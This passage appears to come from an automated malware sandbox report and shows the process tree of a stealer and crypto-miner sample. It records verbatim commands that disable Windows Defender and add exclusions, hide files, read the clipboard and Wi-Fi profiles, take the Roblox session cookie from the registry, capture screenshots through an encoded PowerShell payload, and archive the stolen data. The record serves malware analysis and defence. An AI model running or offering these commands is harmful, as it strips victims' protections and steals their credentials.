        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3028,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:1848
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4424,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4356 /prefetch:1
        5⤵
        
        PID:2072
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4128,i,4468832303499976883,13521726668509163706,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3548 /prefetch:1
        5⤵
        
        PID:1704
- C:\Windows\System32\a\xmrig.exe
  "C:\Windows\System32\a\xmrig.exe"
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System32\a\uncrypted.exe
  "C:\Windows\System32\a\uncrypted.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2396
- C:\Windows\System32\a\DuckMatter.exe
  "C:\Windows\System32\a\DuckMatter.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2764
- C:\Windows\System32\a\microsoft-onedrive.exe
  "C:\Windows\System32\a\microsoft-onedrive.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3624
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAcABiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAYwBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAZwBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAdwB5ACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1620
- - C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    3⤵
    - Executes dropped EXE
    PID:4736
  - - C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Loads dropped DLL
      PID:1740
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        5⤵
        
        PID:1652
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:3972
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4804
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:772
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:1084
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2096
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        5⤵
        
        PID:3644
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        6⤵
        
        PID:1104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        5⤵
        
        PID:3848
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        6⤵
        
        PID:1272
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:4940
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:3752
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:2304
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:4988
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:5044
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        6⤵
        Views/modifies file attributes
        
        PID:436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  .scr'"
        5⤵
        
        PID:2768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  .scr'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4248
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4196
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:1956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:208
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:4960
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:4812
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        
        PID:2464
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:752
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:2120
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:2184
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:4124
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:4620
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:1476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1000
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:4856
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:4140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        5⤵
        
        PID:4272
      - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        6⤵
        
        PID:1596
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:1008
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2864
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ls5xhnoy\ls5xhnoy.cmdline"
        7⤵
        
        PID:5548
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES625B.tmp" "c:\Users\Admin\AppData\Local\Temp\ls5xhnoy\CSC9FCE6760DFC5438BB875B61C5EF1A6E2.TMP"
        8⤵
        
        PID:5772
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5204
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5400
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5232
      - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:5384
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5436
      - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:5576
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5476
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5608
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5616
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5712
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5660
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5756
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5796
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5864
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5880
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5940
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3920"
        5⤵
        
        PID:5988
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3920
        6⤵
        Kills process with taskkill
        
        PID:6040
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3920"
        5⤵
        
        PID:6072
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3920
        6⤵
        Kills process with taskkill
        
        PID:5168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:5228
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4272
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5304
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:5492
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        
        PID:5560
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:5488
      - C:\Windows\system32\getmac.exe
        
        getmac
        6⤵
        
        PID:1972
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI47362\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\flhYB.zip" *"
        5⤵
        
        PID:5672
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5660
      - C:\Users\Admin\AppData\Local\Temp\_MEI47362\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI47362\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\flhYB.zip" *
        6⤵
        Executes dropped EXE
        
        PID:5584
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        5⤵
        
        PID:5904
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        6⤵
        
        PID:3964
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        5⤵
        
